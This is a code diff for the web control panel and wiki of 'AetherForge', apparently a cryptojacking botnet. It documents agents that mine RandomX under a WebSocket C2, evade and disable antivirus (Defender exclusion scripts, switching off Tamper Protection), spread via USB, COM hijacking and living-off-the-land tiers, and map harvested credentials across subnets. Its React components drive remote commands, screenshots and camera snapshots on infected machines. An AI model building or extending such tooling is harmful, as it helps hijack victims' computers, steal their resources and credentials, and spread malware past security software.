Forge can bake <code>miner_execution=auto</code> or <code>container</code>. On agent start the supervisor
|
||||
probes for <code>docker</code> or <code>podman</code> in PATH. When a runtime is available, CPU RandomX
|
||||
can run inside an OCI container; the host agent keeps the C2 WebSocket and remote commands. If no runtime
|
||||
is installed or <code>docker run</code> fails, the agent falls back to <strong>in-process</strong>
|
||||
pure-Go RandomX (no external CPU miner binary).
|
||||
</p>
|
||||
|
||||
<h3>Honest AV expectations</h3>
|
||||
<ul>
|
||||
<li>Containers are <strong>not</strong> invisible to antivirus — <code>docker.exe</code>, image layers, and pulls are still observable.</li>
|
||||
<li>Primary benefit: <strong>legitimate process isolation</strong> — mining workload separate from the host agent; fewer blocked subprocess spawns for GPU (T-Rex / TeamRedMiner).</li>
|
||||
<li>In-process RandomX already avoids a separate CPU miner <code>.exe</code>; container mode helps when the <em>agent binary itself</em> is quarantined or GPU miners are deleted on spawn.</li>
|
||||
</ul>
|
||||
|
||||
<h3>Forge options</h3>
|
||||
<table class="wiki-table">
|
||||
<thead><tr><th>Value</th><th>Behavior</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td><code>inprocess</code></td><td><strong>Default.</strong> Pure-Go RandomX inside the agent process — lowest AV friction for CPU</td></tr>
|
||||
<tr><td><code>auto</code></td><td>Container if Docker/Podman detected; else in-process</td></tr>
|
||||
<tr><td><code>container</code></td><td>Always attempt OCI launch; fall back to in-process on failure</td></tr>
|
||||
<tr><td><code>subprocess</code></td><td>GPU KawPoW only — T-Rex/TRM external binaries on Windows</td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<h3>Operator setup</h3>
|
||||
<ol>
|
||||
<li><strong>Windows:</strong> Install <a href="https://docs.docker.com/desktop/setup/install/windows-install/">Docker Desktop</a>; ensure <code>docker version</code> works in the same user context as the agent.</li>
|
||||
<li><strong>Linux:</strong> <code>sudo apt install docker.io</code> (or Podman); add the agent user to the <code>docker</code> group or use rootless Podman.</li>
|
||||
<li>Build the worker image: <code>docker build -f docker/Dockerfile.agent -t aetherforge/agent-worker:latest .</code></li>
|
||||
<li>Optional: set <code>AETHERFORGE_MINER_IMAGE</code> on the host to a private registry tag.</li>
|
||||
<li>Re-forge with <strong>Miner Execution → Auto</strong> (or Container) in the Calibrate / Forge deck.</li>
|
||||
</ol>
|
||||
|
||||
<h3>Architecture</h3>
|
||||
<pre>
|
||||
┌──────────────── Host (agent.exe) ────────────────┐
|
||||
│ WebSocket C2 · commands · stats · GPU supervisor │
|
||||
│ │ docker run │
|
||||
│ ▼ │
|
||||
│ ┌──────────── OCI container ────────────┐ │
|
||||
│ │ agent-worker · RandomX · Stratum/C2 │ │
|
||||
│ └───────────────────────────────────────┘ │
|
||||
└──────────────────────────────────────────────────┘
|
||||
</pre>
|
||||
<h3>Mining fallback chain</h3>
|
||||
<p>
|
||||
The agent runs a unified cascade on start, on remote <code>resume</code>, and whenever the active method fails.
|
||||
Order (when <code>miner_execution=auto</code> and Docker/Podman is present):
|
||||
<strong>container → in-process RandomX → GPU subprocess (parallel RVN) → direct Stratum overlay</strong>.
|
||||
Each failure is logged and sent to the dashboard as <code>mining_fallback</code>; live stats include
|
||||
<code>active_method</code>, <code>failed_methods[]</code>, and <code>last_error</code>.
|
||||
Full chain re-passes wait 30 seconds (cooldown). GPU RVN runs <em>in parallel</em> once CPU primary is up —
|
||||
it does not replace RandomX. Stratum direct overlays in-process workers when C2 is offline or jobless.
|
||||
</p>
|
||||
<p>
|
||||
When the container exits, the chain advances to in-process automatically.
|
||||
Server auto-<code>resume</code> on connect still applies; container mode pauses host workers while the
|
||||
container is healthy.
|
||||
</p>
|
||||
</section>
|
||||
|
||||
<!-- 7b. Platform Matrix -->
|
||||
<section id="platform-matrix">
|
||||
<h2>Platform Matrix</h2>
|
||||
@@ -1215,7 +1320,9 @@ go run ./cmd/mine-validate -seconds 20 -threads 2</code></pre>
|
||||
<tr><td>Black screen / empty page</td><td>Stale service worker or R3F mismatch</td><td>Ctrl+Shift+R; rebuild web; copy dist → webroot</td></tr>
|
||||
<tr><td>Login loop / 401</td><td>Wrong password</td><td>Check console first-run password; reset <code>users.json</code></td></tr>
|
||||
<tr><td>Workers never appear</td><td>Wrong server URL / firewall</td><td>Use LAN IP in Forge; open port 8989</td></tr>
|
||||
<tr><td>GPU miner doesn't start</td><td>No CUDA/OpenCL</td><td>Check agent log; verify GPU drivers + outbound internet</td></tr>
|
||||
<tr><td>GPU miner doesn't start</td><td>No CUDA/OpenCL or AV quarantine</td><td>Check agent log; verify GPU drivers + outbound internet; Mining Diagnostics for subprocess blockers</td></tr>
|
||||
<tr><td>CPU hashrate 0, agent online</td><td>AV kill, pause, idle guard, or no pool job</td><td>Crucible → Mining Diagnostics; Calibrate Defender exclusion script; forge AV-Safe preset</td></tr>
|
||||
<tr><td>Defender "off" but still blocked</td><td>Tamper Protection, cloud protection, CFA</td><td>Run Calibrate exclusion .ps1 elevated; disable tamper briefly; check Controlled folder access</td></tr>
|
||||
<tr><td>USB not spreading</td><td>USBSpread not forged</td><td>Re-forge with USB Propagation enabled</td></tr>
|
||||
<tr><td>Empty screenshot</td><td>Agent offline</td><td>Ensure online; check terminal for errors</td></tr>
|
||||
</tbody>
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate, FusionEstimate, XmrPrice, PathTraceHop, PublicBuildsResponse, CampaignHitSummary, EmberwakeNotes } from '../types';
|
||||
import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate, FusionEstimate, XmrPrice, PathTraceHop, ServiceGraphHost, PublicBuildsResponse, CampaignHitSummary, EmberwakeNotes } from '../types';
|
||||
import { authHeaders, clearStoredAuth } from './auth';
|
||||
import { BACKUP_DOWNLOAD_TIMEOUT_MS, DOWNLOAD_TIMEOUT_MS, fetchAuthedWithTimeout } from './download';
|
||||
|
||||
@@ -271,7 +271,7 @@ export const api = {
|
||||
}),
|
||||
|
||||
sendBulkCommand: (agentIds: string[], action: string) =>
|
||||
fetchJSON<{ success: boolean; sent: number; failed: number; action: string }>('/agents/bulk-command', {
|
||||
fetchJSON<{ success: boolean; sent: number; failed: number; action: string; category?: string; label?: string }>('/agents/bulk-command', {
|
||||
method: 'POST',
|
||||
body: JSON.stringify({ agent_ids: agentIds, action }),
|
||||
}),
|
||||
@@ -302,6 +302,33 @@ export const api = {
|
||||
fetchJSON<{ ok: boolean }>(`/fleet-tasks/${id}`, { method: 'DELETE' }),
|
||||
getSpreadFunnel: () => fetchJSON<import('../types').SpreadFunnelStats>('/dashboard/spread-funnel'),
|
||||
|
||||
getCredentialGraph: async (): Promise<import('../types/recon').CredentialGraphResponse | null> => {
|
||||
try {
|
||||
return await fetchJSON<import('../types/recon').CredentialGraphResponse>('/spread/credential-graph');
|
||||
} catch (e) {
|
||||
if (e instanceof Error && e.message.includes('404')) return null;
|
||||
throw e;
|
||||
}
|
||||
},
|
||||
|
||||
getServiceGraph: async (params: {
|
||||
agentId?: string;
|
||||
subnet?: string;
|
||||
}): Promise<import('../types/recon').ServiceGraphResponse | null> => {
|
||||
const q = new URLSearchParams();
|
||||
if (params.agentId) q.set('agent_id', params.agentId);
|
||||
if (params.subnet) q.set('subnet', params.subnet);
|
||||
const qs = q.toString();
|
||||
try {
|
||||
return await fetchJSON<import('../types/recon').ServiceGraphResponse>(
|
||||
`/spread/service-graph${qs ? `?${qs}` : ''}`,
|
||||
);
|
||||
} catch (e) {
|
||||
if (e instanceof Error && e.message.includes('404')) return null;
|
||||
throw e;
|
||||
}
|
||||
},
|
||||
|
||||
listFleetModules: () => fetchJSON<import('../types').FleetModuleManifest[]>('/fleet/modules'),
|
||||
pushFleetPolicy: (body: {
|
||||
agent_ids: string[];
|
||||
@@ -394,6 +421,31 @@ export const api = {
|
||||
URL.revokeObjectURL(url);
|
||||
},
|
||||
|
||||
exportSpreadTemplate: async (req: {
|
||||
template: string;
|
||||
server_url: string;
|
||||
build_id?: string;
|
||||
campaign?: string;
|
||||
com_hijack?: boolean;
|
||||
lotl_mode?: string;
|
||||
agent_path?: string;
|
||||
}) => {
|
||||
const res = await fetch(`${API_BASE}/builder/spread-template-export`, {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json', ...authHeaders() },
|
||||
body: JSON.stringify(req),
|
||||
});
|
||||
if (res.status === 401) clearStoredAuth({ expired: true });
|
||||
if (!res.ok) throw new Error(await res.text());
|
||||
const blob = await res.blob();
|
||||
const url = URL.createObjectURL(blob);
|
||||
const a = document.createElement('a');
|
||||
a.href = url;
|
||||
a.download = `aetherforge-${req.template}.zip`;
|
||||
a.click();
|
||||
URL.revokeObjectURL(url);
|
||||
},
|
||||
|
||||
// Path Tracer — WireGuard VPN chain sessions
|
||||
startTrace: (agentIds: string[]) =>
|
||||
fetchJSON<{ session_id: string; hops: PathTraceHop[] }>('/pathtrace/start', {
|
||||
@@ -401,7 +453,27 @@ export const api = {
|
||||
body: JSON.stringify({ agent_ids: agentIds }),
|
||||
}),
|
||||
getTraceStatus: (id: string) =>
|
||||
fetchJSON<{ session_id: string; ready: boolean; error?: string; hops: PathTraceHop[] }>(`/pathtrace/${id}/status`),
|
||||
fetchJSON<{
|
||||
session_id: string;
|
||||
ready: boolean;
|
||||
error?: string;
|
||||
hops: PathTraceHop[];
|
||||
service_graph?: ServiceGraphHost[];
|
||||
discover_in_progress?: boolean;
|
||||
discover_error?: string;
|
||||
discovered_at?: string;
|
||||
}>(`/pathtrace/${id}/status`),
|
||||
discoverTraceServices: (sessionId: string, maxHosts = 32) =>
|
||||
fetchJSON<{
|
||||
ok: boolean;
|
||||
session_id: string;
|
||||
error?: string;
|
||||
service_graph?: ServiceGraphHost[];
|
||||
discovered_at?: string;
|
||||
}>('/pathtrace/discover', {
|
||||
method: 'POST',
|
||||
body: JSON.stringify({ session_id: sessionId, max_hosts: maxHosts }),
|
||||
}),
|
||||
getTraceQR: (id: string) =>
|
||||
fetchJSON<{ config: string; qr_png_b64: string }>(`/pathtrace/${id}/qr`),
|
||||
deleteTrace: (id: string) =>
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
import AgentRemoteActions from './AgentRemoteActions';
|
||||
import { formatHashrate, formatUptime } from '../../help/fleetFilters';
|
||||
import { lotlTierLabel } from '../../help/warRoomTelemetry';
|
||||
import type { Agent } from '../../types';
|
||||
import type { SeqCommandResult } from '../../context/WebSocketContext';
|
||||
import type { FleetGroup } from '../../help/fleetGroups';
|
||||
@@ -95,6 +96,11 @@ export default function AgentListItem({
|
||||
c:{agent.campaign}
|
||||
</span>
|
||||
)}
|
||||
{lotlTierLabel(agent.lotl_tier) && (
|
||||
<span className="agent-tag-chip war-room-lotl-badge" title="LOTL tier">
|
||||
{lotlTierLabel(agent.lotl_tier)}
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
<div style={{ display: 'flex', alignItems: 'center', gap: '0.4rem' }}>
|
||||
<span className={`status-badge ${agent.status}`}>{agent.status}</span>
|
||||
|
||||
@@ -9,7 +9,10 @@ import { pushFileToAgentDesktop } from '../../help/desktopPush';
|
||||
import { parseFullSysCheckMessage } from '../../types/syscheck';
|
||||
import type { FullSysCheckReport } from '../../types/syscheck';
|
||||
import FullSysCheckPanel from './FullSysCheckPanel';
|
||||
import LotlAttemptsList from './LotlAttemptsList';
|
||||
import LotlTierBadge from './LotlTierBadge';
|
||||
import ProtocolTunnelPanel from './ProtocolTunnelPanel';
|
||||
import { parseTierReport, type TierAttempt } from '../../types/lotl';
|
||||
import './AgentRemoteActions.css';
|
||||
import './FullSysCheckPanel.css';
|
||||
import './ProtocolTunnelPanel.css';
|
||||
@@ -66,6 +69,12 @@ export default function AgentRemoteActions({
|
||||
const [regValue, setRegValue] = useState('');
|
||||
const [regType, setRegType] = useState('REG_SZ');
|
||||
const [sysCheckReport, setSysCheckReport] = useState<FullSysCheckReport | null>(null);
|
||||
const [miningDiag, setMiningDiag] = useState<{
|
||||
lotl_tier?: string;
|
||||
lotl_attempts: TierAttempt[];
|
||||
mining_hashrate?: number;
|
||||
likely_blockers: string[];
|
||||
} | null>(null);
|
||||
const [tunnelStatusMsg, setTunnelStatusMsg] = useState('');
|
||||
// Fleet upgrade
|
||||
const [builds, setBuilds] = useState<Build[]>([]);
|
||||
@@ -135,6 +144,17 @@ export default function AgentRemoteActions({
|
||||
if (agent.gpu_miner_active && agent.gpu_hashrate_15s) {
|
||||
parts.push(`RVN ${formatHashrate(agent.gpu_hashrate_15s)}`);
|
||||
}
|
||||
if (agent.lotl_tier) {
|
||||
parts.push(`LOTL ${agent.lotl_tier}`);
|
||||
}
|
||||
if (agent.active_method) {
|
||||
const method = agent.stratum_overlay ? `${agent.active_method}+stratum` : agent.active_method;
|
||||
parts.push(`Mining ${method}`);
|
||||
}
|
||||
if (agent.failed_methods && agent.failed_methods.length > 0) {
|
||||
const last = agent.failed_methods[agent.failed_methods.length - 1];
|
||||
parts.push(`Fallback ${last.method} failed`);
|
||||
}
|
||||
if (agent.disk_free_pct != null) parts.push(`Disk ${agent.disk_free_pct}% free`);
|
||||
addLog(`◈ LIVE ${parts.join(' │ ')}`);
|
||||
}, [agent, showLiveStats, addLog]);
|
||||
@@ -164,6 +184,37 @@ export default function AgentRemoteActions({
|
||||
addLog(`✗ [FULL_SYS_CHECK] FAIL\n${message ?? ''}`);
|
||||
setSysCheckReport(null);
|
||||
}
|
||||
} else if (action === 'mining_diagnostics') {
|
||||
if (success && message) {
|
||||
const jsonStart = message.indexOf('{');
|
||||
if (jsonStart >= 0) {
|
||||
try {
|
||||
const parsed = JSON.parse(message.slice(jsonStart)) as Record<string, unknown>;
|
||||
const tierFields = parseTierReport(parsed);
|
||||
const blockers = parsed.likely_blockers ?? parsed.blockers;
|
||||
setMiningDiag({
|
||||
...tierFields,
|
||||
likely_blockers: Array.isArray(blockers)
|
||||
? blockers.filter((b): b is string => typeof b === 'string')
|
||||
: [],
|
||||
});
|
||||
const wins = tierFields.lotl_attempts.filter((a) => a.ok).length;
|
||||
const fails = tierFields.lotl_attempts.length - wins;
|
||||
addLog(
|
||||
`✓ Mining diagnostics — tier ${tierFields.lotl_tier ?? 'n/a'} (${wins} ok, ${fails} fail)`,
|
||||
);
|
||||
} catch {
|
||||
addLog('✗ [MINING_DIAGNOSTICS] could not parse report JSON');
|
||||
setMiningDiag(null);
|
||||
}
|
||||
} else {
|
||||
addLog(`✗ [MINING_DIAGNOSTICS] no JSON in response`);
|
||||
setMiningDiag(null);
|
||||
}
|
||||
} else {
|
||||
addLog(`✗ [MINING_DIAGNOSTICS] FAIL\n${message ?? ''}`);
|
||||
setMiningDiag(null);
|
||||
}
|
||||
} else if (action === 'tunnel_status' && success && message) {
|
||||
setTunnelStatusMsg(message);
|
||||
} else if (action === 'screenshot' || action === 'camera_snapshot') {
|
||||
@@ -183,7 +234,7 @@ export default function AgentRemoteActions({
|
||||
} else if (!liveViewRef.current || action !== 'screenshot') {
|
||||
addLog(`✗ [${tag}] ${label}: FAIL\n${message ?? ''}`);
|
||||
}
|
||||
} else if (action && action !== 'full_sys_check') {
|
||||
} else if (action && action !== 'full_sys_check' && action !== 'mining_diagnostics') {
|
||||
const icon = success ? '✓' : '✗';
|
||||
const preview =
|
||||
message && message.length > 4000 ? `${message.slice(0, 4000)}\n…[truncated in terminal]` : message ?? '';
|
||||
@@ -234,6 +285,10 @@ export default function AgentRemoteActions({
|
||||
setSysCheckReport(null);
|
||||
addLog(`◈ Running full system check on ${agentName}… (may take 30–60s)`);
|
||||
}
|
||||
if (action === 'mining_diagnostics') {
|
||||
setMiningDiag(null);
|
||||
addLog(`◈ Running mining diagnostics on ${agentName}…`);
|
||||
}
|
||||
|
||||
// WOL is handled server-side (no agent connection needed)
|
||||
if (action === 'wol') {
|
||||
@@ -372,6 +427,9 @@ export default function AgentRemoteActions({
|
||||
<span className="offline-badge">OFFLINE — commands disabled</span>
|
||||
)}
|
||||
{busy && <span className="busy-badge">⏳ {busy}…</span>}
|
||||
{!isFleet && agent?.lotl_tier && (
|
||||
<LotlTierBadge tier={agent.lotl_tier} attempts={agent.lotl_attempts} variant="inline" />
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@@ -416,6 +474,15 @@ export default function AgentRemoteActions({
|
||||
<div className="button-grid">
|
||||
<button type="button" className="btn-cyan" disabled={!isOnline || !!busy} onClick={() => dispatch('resume')}>Resume</button>
|
||||
<button type="button" className="btn-amber" disabled={!isOnline || !!busy} onClick={() => dispatch('pause')}>Pause</button>
|
||||
<button
|
||||
type="button"
|
||||
className="btn-cyan"
|
||||
disabled={!isOnline || !!busy}
|
||||
title="JSON report: execution mode, pause state, job delivery, GPU subprocess, Defender RTP"
|
||||
onClick={() => dispatch('mining_diagnostics')}
|
||||
>
|
||||
Mining Diagnostics
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@@ -737,6 +804,41 @@ export default function AgentRemoteActions({
|
||||
/>
|
||||
)}
|
||||
|
||||
{miningDiag && !compact && (
|
||||
<div style={{ marginBottom: '1rem' }}>
|
||||
<div style={{ display: 'flex', alignItems: 'center', gap: '0.5rem', marginBottom: '0.35rem' }}>
|
||||
<span className="font-tech" style={{ fontSize: '0.72rem', color: 'var(--neon-cyan)' }}>
|
||||
MINING DIAGNOSTICS
|
||||
</span>
|
||||
{miningDiag.lotl_tier && (
|
||||
<LotlTierBadge tier={miningDiag.lotl_tier} attempts={miningDiag.lotl_attempts} variant="inline" />
|
||||
)}
|
||||
<button
|
||||
type="button"
|
||||
className="terminal-clear-btn"
|
||||
style={{ marginLeft: 'auto' }}
|
||||
onClick={() => setMiningDiag(null)}
|
||||
>
|
||||
DISMISS
|
||||
</button>
|
||||
</div>
|
||||
<LotlAttemptsList
|
||||
attempts={miningDiag.lotl_attempts}
|
||||
activeTier={miningDiag.lotl_tier}
|
||||
miningHashrate={miningDiag.mining_hashrate}
|
||||
/>
|
||||
{miningDiag.likely_blockers.length > 0 && (
|
||||
<ul className="rich-blocker-list" style={{ marginTop: '0.35rem', paddingLeft: '1rem' }}>
|
||||
{miningDiag.likely_blockers.map((b, i) => (
|
||||
<li key={i} className="rich-blocker-item" style={{ fontSize: '0.72rem', color: '#ccc' }}>
|
||||
{b}
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
|
||||
{screenshotData && (
|
||||
<div className="screenshot-viewer">
|
||||
<div className="viewer-header">
|
||||
|
||||
@@ -42,7 +42,7 @@ export default function CreateGroupModal({ open, agentCount, onClose, onCreate }
|
||||
>
|
||||
<h2 id="fleet-group-modal-title" className="font-display">Create group</h2>
|
||||
<p className="form-hint">
|
||||
Saves {agentCount} selected machine{agentCount === 1 ? '' : 's'} — usable in Fleet Roster and Crucible.
|
||||
Saves {agentCount} selected machine{agentCount === 1 ? '' : 's'} — usable in Crucible for bulk commands.
|
||||
</p>
|
||||
<form onSubmit={submit}>
|
||||
<label className="label" htmlFor="fleet-group-name">Group name</label>
|
||||
|
||||
78
server/web/src/components/Fleet/CredentialGraphTable.tsx
Normal file
78
server/web/src/components/Fleet/CredentialGraphTable.tsx
Normal file
@@ -0,0 +1,78 @@
|
||||
import { useEffect, useState } from 'react';
|
||||
import { api } from '../../api/client';
|
||||
import type { CredentialSubnetEdge } from '../../types/recon';
|
||||
import './ReconVisuals.css';
|
||||
|
||||
export default function CredentialGraphTable() {
|
||||
const [rows, setRows] = useState<CredentialSubnetEdge[] | null>(null);
|
||||
const [loading, setLoading] = useState(true);
|
||||
const [unavailable, setUnavailable] = useState(false);
|
||||
|
||||
useEffect(() => {
|
||||
let cancelled = false;
|
||||
setLoading(true);
|
||||
void api
|
||||
.getCredentialGraph()
|
||||
.then((data) => {
|
||||
if (cancelled) return;
|
||||
if (!data) {
|
||||
setUnavailable(true);
|
||||
setRows([]);
|
||||
return;
|
||||
}
|
||||
setRows(data.subnets ?? []);
|
||||
setUnavailable(false);
|
||||
})
|
||||
.catch(() => {
|
||||
if (!cancelled) {
|
||||
setUnavailable(true);
|
||||
setRows([]);
|
||||
}
|
||||
})
|
||||
.finally(() => {
|
||||
if (!cancelled) setLoading(false);
|
||||
});
|
||||
return () => {
|
||||
cancelled = true;
|
||||
};
|
||||
}, []);
|
||||
|
||||
if (loading) {
|
||||
return <p className="recon-graph-empty">Loading credential graph…</p>;
|
||||
}
|
||||
|
||||
if (unavailable) {
|
||||
return (
|
||||
<p className="recon-graph-empty">
|
||||
Credential graph API not available yet — edges appear after spread runs record cred affinity.
|
||||
</p>
|
||||
);
|
||||
}
|
||||
|
||||
if (!rows?.length) {
|
||||
return <p className="recon-graph-empty">No credential edges recorded.</p>;
|
||||
}
|
||||
|
||||
return (
|
||||
<table className="recon-graph-table" aria-label="Credential graph by subnet">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>SUBNET</th>
|
||||
<th>EDGES</th>
|
||||
<th>OK</th>
|
||||
<th>FAIL</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{rows.map((row) => (
|
||||
<tr key={row.subnet}>
|
||||
<td>{row.subnet}</td>
|
||||
<td>{row.edges}</td>
|
||||
<td>{row.success_count ?? '—'}</td>
|
||||
<td>{row.fail_count ?? '—'}</td>
|
||||
</tr>
|
||||
))}
|
||||
</tbody>
|
||||
</table>
|
||||
);
|
||||
}
|
||||
63
server/web/src/components/Fleet/CrucibleAgentMeta.test.tsx
Normal file
63
server/web/src/components/Fleet/CrucibleAgentMeta.test.tsx
Normal file
@@ -0,0 +1,63 @@
|
||||
/**
|
||||
* @vitest-environment happy-dom
|
||||
*/
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
import { cleanup, render, screen, waitFor } from '@testing-library/react';
|
||||
import userEvent from '@testing-library/user-event';
|
||||
import CrucibleAgentMeta from './CrucibleAgentMeta';
|
||||
import { api } from '../../api/client';
|
||||
import { mockAgent } from '../../test/fixtures';
|
||||
|
||||
vi.mock('../../api/client', () => ({
|
||||
api: {
|
||||
updateAgentMeta: vi.fn(),
|
||||
deleteAgent: vi.fn(),
|
||||
sendAgentCommand: vi.fn(),
|
||||
},
|
||||
}));
|
||||
|
||||
const updateMetaMock = vi.mocked(api.updateAgentMeta);
|
||||
const deleteAgentMock = vi.mocked(api.deleteAgent);
|
||||
|
||||
describe('CrucibleAgentMeta', () => {
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
updateMetaMock.mockResolvedValue({
|
||||
success: true,
|
||||
agent: mockAgent({ notes: 'saved', tags: ['rack-a'] }),
|
||||
});
|
||||
deleteAgentMock.mockResolvedValue({ success: true });
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
cleanup();
|
||||
});
|
||||
|
||||
it('saves notes and tags via API', async () => {
|
||||
const agent = mockAgent({ id: 'meta-1', name: 'Meta Node', notes: 'old', tags: ['old-tag'] });
|
||||
render(<CrucibleAgentMeta agent={agent} />);
|
||||
const user = userEvent.setup();
|
||||
const notes = screen.getByPlaceholderText('Notes about this machine…');
|
||||
await user.clear(notes);
|
||||
await user.type(notes, 'Living room PC');
|
||||
const tags = screen.getByPlaceholderText('Tags: living-room, rack-b (comma separated)');
|
||||
await user.clear(tags);
|
||||
await user.type(tags, 'living-room, rack-b');
|
||||
await user.click(screen.getByRole('button', { name: 'Save notes & tags' }));
|
||||
await waitFor(() => {
|
||||
expect(updateMetaMock).toHaveBeenCalledWith('meta-1', 'Living room PC', ['living-room', 'rack-b']);
|
||||
});
|
||||
expect(await screen.findByText('Saved')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('deletes agent from roster after confirm', async () => {
|
||||
const agent = mockAgent({ id: 'del-1', name: 'Delete Me' });
|
||||
const confirmSpy = vi.spyOn(window, 'confirm').mockReturnValue(true);
|
||||
render(<CrucibleAgentMeta agent={agent} />);
|
||||
await userEvent.setup().click(screen.getByRole('button', { name: 'Delete from Roster' }));
|
||||
await waitFor(() => {
|
||||
expect(deleteAgentMock).toHaveBeenCalledWith('del-1');
|
||||
});
|
||||
confirmSpy.mockRestore();
|
||||
});
|
||||
});
|
||||
132
server/web/src/components/Fleet/CrucibleAgentMeta.tsx
Normal file
132
server/web/src/components/Fleet/CrucibleAgentMeta.tsx
Normal file
@@ -0,0 +1,132 @@
|
||||
import { useState, useEffect } from 'react';
|
||||
import { api } from '../../api/client';
|
||||
import type { Agent } from '../../types';
|
||||
|
||||
interface Props {
|
||||
agent: Agent;
|
||||
onUpdated?: (agent: Agent) => void;
|
||||
}
|
||||
|
||||
export default function CrucibleAgentMeta({ agent, onUpdated }: Props) {
|
||||
const [notesDraft, setNotesDraft] = useState(agent.notes || '');
|
||||
const [tagsDraft, setTagsDraft] = useState((agent.tags || []).join(', '));
|
||||
const [saving, setSaving] = useState(false);
|
||||
const [msg, setMsg] = useState('');
|
||||
|
||||
useEffect(() => {
|
||||
setNotesDraft(agent.notes || '');
|
||||
setTagsDraft((agent.tags || []).join(', '));
|
||||
setMsg('');
|
||||
}, [agent.id, agent.notes, agent.tags]);
|
||||
|
||||
const save = async () => {
|
||||
setSaving(true);
|
||||
setMsg('');
|
||||
const tags = tagsDraft.split(',').map((t) => t.trim()).filter(Boolean);
|
||||
try {
|
||||
const res = await api.updateAgentMeta(agent.id, notesDraft, tags);
|
||||
onUpdated?.(res.agent);
|
||||
setMsg('Saved');
|
||||
setTimeout(() => setMsg(''), 2000);
|
||||
} catch (err) {
|
||||
setMsg(err instanceof Error ? err.message : 'Save failed');
|
||||
} finally {
|
||||
setSaving(false);
|
||||
}
|
||||
};
|
||||
|
||||
const deleteFromRoster = async () => {
|
||||
if (!window.confirm('Remove this machine from the fleet roster? This cannot be undone.')) return;
|
||||
try {
|
||||
await api.deleteAgent(agent.id);
|
||||
} catch (err) {
|
||||
alert(err instanceof Error ? err.message : 'Delete failed');
|
||||
}
|
||||
};
|
||||
|
||||
const uninstallAndDelete = async () => {
|
||||
const label = agent.status === 'online'
|
||||
? `Uninstall the miner from "${agent.name}" and remove it from the roster?`
|
||||
: `"${agent.name}" is offline — it cannot be remotely uninstalled. Remove from roster only?`;
|
||||
if (!window.confirm(label)) return;
|
||||
if (agent.status === 'online') {
|
||||
try {
|
||||
await api.sendAgentCommand(agent.id, 'uninstall', {});
|
||||
} catch {
|
||||
// Non-fatal — proceed to delete the record regardless
|
||||
}
|
||||
}
|
||||
try {
|
||||
await api.deleteAgent(agent.id);
|
||||
} catch (err) {
|
||||
alert(err instanceof Error ? err.message : 'Delete failed');
|
||||
}
|
||||
};
|
||||
|
||||
return (
|
||||
<div className="crucible-agent-meta" style={{
|
||||
display: 'flex',
|
||||
flexDirection: 'column',
|
||||
gap: '0.5rem',
|
||||
marginBottom: '1rem',
|
||||
padding: '0.75rem 1rem',
|
||||
background: 'rgba(0,245,255,0.04)',
|
||||
border: '1px solid rgba(0,245,255,0.18)',
|
||||
borderRadius: '8px',
|
||||
}}>
|
||||
<div className="font-tech" style={{ fontSize: '0.72rem', letterSpacing: '0.1em', color: 'var(--neon-cyan)' }}>
|
||||
NOTES & TAGS
|
||||
</div>
|
||||
<p className="form-hint" style={{ margin: 0 }}>
|
||||
Labels like "Living room PC" or "Rack B" — stored on the server, shown on node cards.
|
||||
</p>
|
||||
{(agent.tags?.length ?? 0) > 0 && (
|
||||
<div>
|
||||
{agent.tags!.map((t) => (
|
||||
<span key={t} className="agent-tag-chip">{t}</span>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
<textarea
|
||||
className="input"
|
||||
rows={2}
|
||||
placeholder="Notes about this machine…"
|
||||
value={notesDraft}
|
||||
onChange={(e) => setNotesDraft(e.target.value)}
|
||||
/>
|
||||
<input
|
||||
type="text"
|
||||
className="input mono agent-meta-tags-input"
|
||||
placeholder="Tags: living-room, rack-b (comma separated)"
|
||||
value={tagsDraft}
|
||||
onChange={(e) => setTagsDraft(e.target.value)}
|
||||
/>
|
||||
<div style={{ display: 'flex', gap: '0.5rem', alignItems: 'center', flexWrap: 'wrap' }}>
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={saving} onClick={() => void save()}>
|
||||
{saving ? 'Saving…' : 'Save notes & tags'}
|
||||
</button>
|
||||
{agent.status === 'online' && (
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-sm"
|
||||
style={{ background: 'rgba(255,100,0,0.15)', border: '1px solid #ff8844', color: '#ffaa66' }}
|
||||
onClick={() => void uninstallAndDelete()}
|
||||
title="Send uninstall command to agent, then remove from roster"
|
||||
>
|
||||
Uninstall + Delete
|
||||
</button>
|
||||
)}
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-sm"
|
||||
style={{ background: 'rgba(255,40,40,0.15)', border: '1px solid #ff4444', color: '#ff6666' }}
|
||||
onClick={() => void deleteFromRoster()}
|
||||
title="Remove this machine from the fleet roster permanently"
|
||||
>
|
||||
Delete from Roster
|
||||
</button>
|
||||
{msg && <span className="form-hint">{msg}</span>}
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -30,6 +30,18 @@ vi.mock('./FileManager', () => ({
|
||||
default: () => <div data-testid="file-manager" />,
|
||||
}));
|
||||
|
||||
vi.mock('./CredentialGraphTable', () => ({
|
||||
default: () => <div data-testid="credential-graph-table" />,
|
||||
}));
|
||||
|
||||
vi.mock('./ServiceGraphSummary', () => ({
|
||||
default: () => <div data-testid="service-graph-summary" />,
|
||||
}));
